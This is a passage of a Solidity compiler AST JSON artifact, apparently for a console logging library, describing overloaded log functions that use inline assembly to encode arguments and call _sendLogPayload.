deType":"YulIdentifier","src":"197858:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197845:6:22","nodeType":"YulIdentifier","src":"197845:6:22"},"nativeSrc":"197845:16:22","nodeType":"YulFunctionCall","src":"197845:16:22"},"nativeSrc":"197845:16:22","nodeType":"YulExpressionStatement","src":"197845:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197881:4:22","nodeType":"YulLiteral","src":"197881:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"197887:2:22","nodeType":"YulIdentifier","src":"197887:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197874:6:22","nodeType":"YulIdentifier","src":"197874:6:22"},"nativeSrc":"197874:16:22","nodeType":"YulFunctionCall","src":"197874:16:22"},"nativeSrc":"197874:16:22","nodeType":"YulExpressionStatement","src":"197874:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40290,"isOffset":false,"isSlot":false,"src":"197771:2:22","valueSize":1},{"declaration":40293,"isOffset":false,"isSlot":false,"src":"197800:2:22","valueSize":1},{"declaration":40296,"isOffset":false,"isSlot":false,"src":"197829:2:22","valueSize":1},{"declaration":40299,"isOffset":false,"isSlot":false,"src":"197858:2:22","valueSize":1},{"declaration":40302,"isOffset":false,"isSlot":false,"src":"197887:2:22","valueSize":1}],"id":40310,"nodeType":"InlineAssembly","src":"197735:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"197129:3:22","parameters":{"id":40287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40280,"mutability":"mutable","name":"p0","nameLocation":"197138:2:22","nodeType":"VariableDeclaration","scope":40312,"src":"197133:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40279,"name":"bool","nodeType":"ElementaryTypeName","src":"197133:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40282,"mutability":"mutable","name":"p1","nameLocation":"197150:2:22","nodeType":"VariableDeclaration","scope":40312,"src":"197142:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40281,"name":"uint256","nodeType":"ElementaryTypeName","src":"197142:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40284,"mutability":"mutable","name":"p2","nameLocation":"197162:2:22","nodeType":"VariableDeclaration","scope":40312,"src":"197154:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40283,"name":"uint256","nodeType":"ElementaryTypeName","src":"197154:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40286,"mutability":"mutable","name":"p3","nameLocation":"197174:2:22","nodeType":"VariableDeclaration","scope":40312,"src":"197166:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40285,"name":"address","nodeType":"ElementaryTypeName","src":"197166:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"197132:45:22"},"returnParameters":{"id":40288,"nodeType":"ParameterList","parameters":[],"src":"197192:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40346,"nodeType":"FunctionDefinition","src":"197912:780:22","nodes":[],"body":{"id":40345,"nodeType":"Block","src":"197981:711:22","nodes":[],"statements":[{"assignments":[40324],"declarations":[{"constant":false,"id":40324,"mutability":"mutable","name":"m0","nameLocation":"197999:2:22","nodeType":"VariableDeclaration","scope":40345,"src":"197991:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40323,"name":"bytes32","nodeType":"ElementaryTypeName","src":"197991:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40325,"nodeType":"VariableDeclarationStatement","src":"197991:10:22"},{"assignments":[40327],"declarations":[{"constant":false,"id":40327,"mutability":"mutable","name":"m1","nameLocation":"198019:2:22","nodeType":"VariableDeclaration","scope":40345,"src":"198011:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40326,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198011:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40328,"nodeType":"VariableDeclarationStatement","src":"198011:10:22"},{"assignments":[40330],"declarations":[{"constant":false,"id":40330,"mutability":"mutable","name":"m2","nameLocation":"198039:2:22","nodeType":"VariableDeclaration","scope":40345,"src":"198031:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40329,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198031:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40331,"nodeType":"VariableDeclarationStatement","src":"198031:10:22"},{"assignments":[40333],"declarations":[{"constant":false,"id":40333,"mutability":"mutable","name":"m3","nameLocation":"198059:2:22","nodeType":"VariableDeclaration","scope":40345,"src":"198051:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40332,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198051:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40334,"nodeType":"VariableDeclarationStatement","src":"198051:10:22"},{"assignments":[40336],"declarations":[{"constant":false,"id":40336,"mutability":"mutable","name":"m4","nameLocation":"198079:2:22","nodeType":"VariableDeclaration","scope":40345,"src":"198071:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40335,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198071:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40337,"nodeType":"VariableDeclarationStatement","src":"198071:10:22"},{"AST":{"nativeSrc":"198100:375:22","nodeType":"YulBlock","src":"198100:375:22","statements":[{"nativeSrc":"198114:17:22","nodeType":"YulAssignment","src":"198114:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198126:4:22","nodeType":"YulLiteral","src":"198126:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"198120:5:22","nodeType":"YulIdentifier","src":"198120:5:22"},"nativeSrc":"198120:11:22","nodeType":"YulFunctionCall","src":"198120:11:22"},"variableNames":[{"name":"m0","nativeSrc":"198114:2:22","nodeType":"YulIdentifier","src":"198114:2:22"}]},{"nativeSrc":"198144:17:22","nodeType":"YulAssignment","src":"198144:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198156:4:22","nodeType":"YulLiteral","src":"198156:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"198150:5:22","nodeType":"YulIdentifier","src":"198150:5:22"},"nativeSrc":"198150:11:22","nodeType":"YulFunctionCall","src":"198150:11:22"},"variableNames":[{"name":"m1","nativeSrc":"198144:2:22","nodeType":"YulIdentifier","src":"198144:2:22"}]},{"nativeSrc":"198174:17:22","nodeType":"YulAssignment","src":"198174:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198186:4:22","nodeType":"YulLiteral","src":"198186:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"198180:5:22","nodeType":"YulIdentifier","src":"198180:5:22"},"nativeSrc":"198180:11:22","nodeType":"YulFunctionCall","src":"198180:11:22"},"variableNames":[{"name":"m2","nativeSrc":"198174:2:22","nodeType":"YulIdentifier","src":"198174:2:22"}]},{"nativeSrc":"198204:17:22","nodeType":"YulAssignment","src":"198204:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198216:4:22","nodeType":"YulLiteral","src":"198216:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"198210:5:22","nodeType":"YulIdentifier","src":"198210:5:22"},"nativeSrc":"198210:11:22","nodeType":"YulFunctionCall","src":"198210:11:22"},"variableNames":[{"name":"m3","nativeSrc":"198204:2:22","nodeType":"YulIdentifier","src":"198204:2:22"}]},{"nativeSrc":"198234:17:22","nodeType":"YulAssignment","src":"198234:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198246:4:22","nodeType":"YulLiteral","src":"198246:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"198240:5:22","nodeType":"YulIdentifier","src":"198240:5:22"},"nativeSrc":"198240:11:22","nodeType":"YulFunctionCall","src":"198240:11:22"},"variableNames":[{"name":"m4","nativeSrc":"198234:2:22","nodeType":"YulIdentifier","src":"198234:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198332:4:22","nodeType":"YulLiteral","src":"198332:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"198338:10:22","nodeType":"YulLiteral","src":"198338:10:22","type":"","value":"0xbe984353"}],"functionName":{"name":"mstore","nativeSrc":"198325:6:22","nodeType":"YulIdentifier","src":"198325:6:22"},"nativeSrc":"198325:24:22","nodeType":"YulFunctionCall","src":"198325:24:22"},"nativeSrc":"198325:24:22","nodeType":"YulExpressionStatement","src":"198325:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198369:4:22","nodeType":"YulLiteral","src":"198369:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"198375:2:22","nodeType":"YulIdentifier","src":"198375:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198362:6:22","nodeType":"YulIdentifier","src":"198362:6:22"},"nativeSrc":"198362:16:22","nodeType":"YulFunctionCall","src":"198362:16:22"},"nativeSrc":"198362:16:22","nodeType":"YulExpressionStatement","src":"198362:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198398:4:22","nodeType":"YulLiteral","src":"198398:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"198404:2:22","nodeType":"YulIdentifier","src":"198404:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198391:6:22","nodeType":"YulIdentifier","src":"198391:6:22"},"nativeSrc":"198391:16:22","nodeType":"YulFunctionCall","src":"198391:16:22"},"nativeSrc":"198391:16:22","nodeType":"YulExpressionStatement","src":"198391:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198427:4:22","nodeType":"YulLiteral","src":"198427:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"198433:2:22","nodeType":"YulIdentifier","src":"198433:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198420:6:22","nodeType":"YulIdentifier","src":"198420:6:22"},"nativeSrc":"198420:16:22","nodeType":"YulFunctionCall","src":"198420:16:22"},"nativeSrc":"198420:16:22","nodeType":"YulExpressionStatement","src":"198420:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198456:4:22","nodeType":"YulLiteral","src":"198456:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"198462:2:22","nodeType":"YulIdentifier","src":"198462:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198449:6:22","nodeType":"YulIdentifier","src":"198449:6:22"},"nativeSrc":"198449:16:22","nodeType":"YulFunctionCall","src":"198449:16:22"},"nativeSrc":"198449:16:22","nodeType":"YulExpressionStatement","src":"198449:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40324,"isOffset":false,"isSlot":false,"src":"198114:2:22","valueSize":1},{"declaration":40327,"isOffset":false,"isSlot":false,"src":"198144:2:22","valueSize":1},{"declaration":40330,"isOffset":false,"isSlot":false,"src":"198174:2:22","valueSize":1},{"declaration":40333,"isOffset":false,"isSlot":false,"src":"198204:2:22","valueSize":1},{"declaration":40336,"isOffset":false,"isSlot":false,"src":"198234:2:22","valueSize":1},{"declaration":40314,"isOffset":false,"isSlot":false,"src":"198375:2:22","valueSize":1},{"declaration":40316,"isOffset":false,"isSlot":false,"src":"198404:2:22","valueSize":1},{"declaration":40318,"isOffset":false,"isSlot":false,"src":"198433:2:22","valueSize":1},{"declaration":40320,"isOffset":false,"isSlot":false,"src":"198462:2:22","valueSize":1}],"id":40338,"nodeType":"InlineAssembly","src":"198091:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40340,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"198500:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40341,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"198506:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40339,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"198484:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"198484:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40343,"nodeType":"ExpressionStatement","src":"198484:27:22"},{"AST":{"nativeSrc":"198530:156:22","nodeType":"YulBlock","src":"198530:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"198551:4:22","nodeType":"YulLiteral","src":"198551:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"198557:2:22","nodeType":"YulIdentifier","src":"198557:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198544:6:22","nodeType":"YulIdentifier","src":"198544:6:22"},"nativeSrc":"198544:16:22","nodeType":"YulFunctionCall","src":"198544:16:22"},"nativeSrc":"198544:16:22","nodeType":"YulExpressionStatement","src":"198544:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198580:4:22","nodeType":"YulLiteral","src":"198580:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"198586:2:22","nodeType":"YulIdentifier","src":"198586:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198573:6:22","nodeType":"YulIdentifier","src":"198573:6:22"},"nativeSrc":"198573:16:22","nodeType":"YulFunctionCall","src":"198573:16:22"},"nativeSrc":"198573:16:22","nodeType":"YulExpressionStatement","src":"198573:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198609:4:22","nodeType":"YulLiteral","src":"198609:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"198615:2:22","nodeType":"YulIdentifier","src":"198615:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198602:6:22","nodeType":"YulIdentifier","src":"198602:6:22"},"nativeSrc":"198602:16:22","nodeType":"YulFunctionCall","src":"198602:16:22"},"nativeSrc":"198602:16:22","nodeType":"YulExpressionStatement","src":"198602:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198638:4:22","nodeType":"YulLiteral","src":"198638:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"198644:2:22","nodeType":"YulIdentifier","src":"198644:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198631:6:22","nodeType":"YulIdentifier","src":"198631:6:22"},"nativeSrc":"198631:16:22","nodeType":"YulFunctionCall","src":"198631:16:22"},"nativeSrc":"198631:16:22","nodeType":"YulExpressionStatement","src":"198631:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"198667:4:22","nodeType":"YulLiteral","src":"198667:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"198673:2:22","nodeType":"YulIdentifier","src":"198673:2:22"}],"functionName":{"name":"mstore","nativeSrc":"198660:6:22","nodeType":"YulIdentifier","src":"198660:6:22"},"nativeSrc":"198660:16:22","nodeType":"YulFunctionCall","src":"198660:16:22"},"nativeSrc":"198660:16:22","nodeType":"YulExpressionStatement","src":"198660:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40324,"isOffset":false,"isSlot":false,"src":"198557:2:22","valueSize":1},{"declaration":40327,"isOffset":false,"isSlot":false,"src":"198586:2:22","valueSize":1},{"declaration":40330,"isOffset":false,"isSlot":false,"src":"198615:2:22","valueSize":1},{"declaration":40333,"isOffset":false,"isSlot":false,"src":"198644:2:22","valueSize":1},{"declaration":40336,"isOffset":false,"isSlot":false,"src":"198673:2:22","valueSize":1}],"id":40344,"nodeType":"InlineAssembly","src":"198521:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"197921:3:22","parameters":{"id":40321,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40314,"mutability":"mutable","name":"p0","nameLocation":"197930:2:22","nodeType":"VariableDeclaration","scope":40346,"src":"197925:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40313,"name":"bool","nodeType":"ElementaryTypeName","src":"197925:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40316,"mutability":"mutable","name":"p1","nameLocation":"197942:2:22","nodeType":"VariableDeclaration","scope":40346,"src":"197934:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40315,"name":"uint256","nodeType":"ElementaryTypeName","src":"197934:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40318,"mutability":"mutable","name":"p2","nameLocation":"197954:2:22","nodeType":"VariableDeclaration","scope":40346,"src":"197946:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40317,"name":"uint256","nodeType":"ElementaryTypeName","src":"197946:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40320,"mutability":"mutable","name":"p3","nameLocation":"197963:2:22","nodeType":"VariableDeclaration","scope":40346,"src":"197958:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40319,"name":"bool","nodeType":"ElementaryTypeName","src":"197958:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"197924:42:22"},"returnParameters":{"id":40322,"nodeType":"ParameterList","parameters":[],"src":"197981:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40380,"nodeType":"FunctionDefinition","src":"198698:786:22","nodes":[],"body":{"id":40379,"nodeType":"Block","src":"198770:714:22","nodes":[],"statements":[{"assignments":[40358],"declarations":[{"constant":false,"id":40358,"mutability":"mutable","name":"m0","nameLocation":"198788:2:22","nodeType":"VariableDeclaration","scope":40379,"src":"198780:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40357,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198780:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40359,"nodeType":"VariableDeclarationStatement","src":"198780:10:22"},{"assignments":[40361],"declarations":[{"constant":false,"id":40361,"mutability":"mutable","name":"m1","nameLocation":"198808:2:22","nodeType":"VariableDeclaration","scope":40379,"src":"198800:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40360,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198800:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40362,"nodeType":"VariableDeclarationStatement","src":"198800:10:22"},{"assignments":[40364],"declarations":[{"constant":false,"id":40364,"mutability":"mutable","name":"m2","nameLocation":"198828:2:22","nodeType":"VariableDeclaration","scope":40379,"src":"198820:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40363,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198820:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40365,"nodeType":"VariableDeclarationStatement","src":"198820:10:22"},{"assignments":[40367],"declarations":[{"constant":false,"id":40367,"mutability":"mutable","name":"m3","nameLocation":"198848:2:22","nodeType":"VariableDeclaration","scope":40379,"src":"198840:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40366,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198840:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40368,"nodeType":"VariableDeclarationStatement","src":"198840:10:22"},{"assignments":[40370],"declarations":[{"constant":false,"id":40370,"mutability":"mutable","name":"m4","nameLocation":"198868:2:22","nodeType":"VariableDeclaration","scope":40379,"src":"198860:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40369,"name":"bytes32","nodeType":"ElementaryTypeName","src":"198860:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40371,"nodeType":"VariableDeclarationStatement","src":"198860:10:22"},{"AST":{"nativeSrc":"198889:378:22","nodeType":"YulBlock","src":"198889:378:22","statements":[{"nativeSrc":"198903:17:22","nodeType":"YulAssignment","src":"198903:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198915:4:22","nodeType":"YulLiteral","src":"198915:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"198909:5:22","nodeType":"YulIdentifier","src":"198909:5:22"},"nativeSrc":"198909:11:22","nodeType":"YulFunctionCall","src":"198909:11:22"},"variableNames":[{"name":"m0","nativeSrc":"198903:2:22","nodeType":"YulIdentifier","src":"198903:2:22"}]},{"nativeSrc":"198933:17:22","nodeType":"YulAssignment","src":"198933:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198945:4:22","nodeType":"YulLiteral","src":"198945:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"198939:5:22","nodeType":"YulIdentifier","src":"198939:5:22"},"nativeSrc":"198939:11:22","nodeType":"YulFunctionCall","src":"198939:11:22"},"variableNames":[{"name":"m1","nativeSrc":"198933:2:22","nodeType":"YulIdentifier","src":"198933:2:22"}]},{"nativeSrc":"198963:17:22","nodeType":"YulAssignment","src":"198963:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"198975:4:22","nodeType":"YulLiteral","src":"198975:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"198969:5:22","nodeType":"YulIdentifier","src":"198969:5:22"},"nativeSrc":"198969:11:22","nodeType":"YulFunctionCall","src":"198969:11:22"},"variableNames":[{"name":"m2","nativeSrc":"198963:2:22","nodeType":"YulIdentifier","src":"198963:2:22"}]},{"nativeSrc":"198993:17:22","nodeType":"YulAssignment","src":"198993:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"199005:4:22","nodeType":"YulLiteral","src":"199005:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"198999:5:22","nodeType":"YulIdentifier","src":"198999:5:22"},"nativeSrc":"198999:11:22","nodeType":"YulFunctionCall","src":"198999:11:22"},"variableNames":[{"name":"m3","nativeSrc":"198993:2:22","nodeType":"YulIdentifier","src":"198993:2:22"}]},{"nativeSrc":"199023:17:22","nodeType":"YulAssignment","src":"199023:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"199035:4:22","nodeType":"YulLiteral","src":"199035:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"199029:5:22","nodeType":"YulIdentifier","src":"199029:5:22"},"nativeSrc":"199029:11:22","nodeType":"YulFunctionCall","src":"199029:11:22"},"variableNames":[{"name":"m4","nativeSrc":"199023:2:22","nodeType":"YulIdentifier","src":"199023:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199124:4:22","nodeType":"YulLiteral","src":"199124:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"199130:10:22","nodeType":"YulLiteral","src":"199130:10:22","type":"","value":"0x374bb4b2"}],"functionName":{"name":"mstore","nativeSrc":"199117:6:22","nodeType":"YulIdentifier","src":"199117:6:22"},"nativeSrc":"199117:24:22","nodeType":"YulFunctionCall","src":"199117:24:22"},"nativeSrc":"199117:24:22","nodeType":"YulExpressionStatement","src":"199117:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199161:4:22","nodeType":"YulLiteral","src":"199161:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"199167:2:22","nodeType":"YulIdentifier","src":"199167:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199154:6:22","nodeType":"YulIdentifier","src":"199154:6:22"},"nativeSrc":"199154:16:22","nodeType":"YulFunctionCall","src":"199154:16:22"},"nativeSrc":"199154:16:22","nodeType":"YulExpressionStatement","src":"199154:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199190:4:22","nodeType":"YulLiteral","src":"199190:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"199196:2:22","nodeType":"YulIdentifier","src":"199196:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199183:6:22","nodeType":"YulIdentifier","src":"199183:6:22"},"nativeSrc":"199183:16:22","nodeType":"YulFunctionCall","src":"199183:16:22"},"nativeSrc":"199183:16:22","nodeType":"YulExpressionStatement","src":"199183:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199219:4:22","nodeType":"YulLiteral","src":"199219:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"199225:2:22","nodeType":"YulIdentifier","src":"199225:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199212:6:22","nodeType":"YulIdentifier","src":"199212:6:22"},"nativeSrc":"199212:16:22","nodeType":"YulFunctionCall","src":"199212:16:22"},"nativeSrc":"199212:16:22","nodeType":"YulExpressionStatement","src":"199212:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199248:4:22","nodeType":"YulLiteral","src":"199248:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"199254:2:22","nodeType":"YulIdentifier","src":"199254:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199241:6:22","nodeType":"YulIdentifier","src":"199241:6:22"},"nativeSrc":"199241:16:22","nodeType":"YulFunctionCall","src":"199241:16:22"},"nativeSrc":"199241:16:22","nodeType":"YulExpressionStatement","src":"199241:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40358,"isOffset":false,"isSlot":false,"src":"198903:2:22","valueSize":1},{"declaration":40361,"isOffset":false,"isSlot":false,"src":"198933:2:22","valueSize":1},{"declaration":40364,"isOffset":false,"isSlot":false,"src":"198963:2:22","valueSize":1},{"declaration":40367,"isOffset":false,"isSlot":false,"src":"198993:2:22","valueSize":1},{"declaration":40370,"isOffset":false,"isSlot":false,"src":"199023:2:22","valueSize":1},{"declaration":40348,"isOffset":false,"isSlot":false,"src":"199167:2:22","valueSize":1},{"declaration":40350,"isOffset":false,"isSlot":false,"src":"199196:2:22","valueSize":1},{"declaration":40352,"isOffset":false,"isSlot":false,"src":"199225:2:22","valueSize":1},{"declaration":40354,"isOffset":false,"isSlot":false,"src":"199254:2:22","valueSize":1}],"id":40372,"nodeType":"InlineAssembly","src":"198880:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40374,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"199292:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40375,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"199298:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40373,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"199276:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 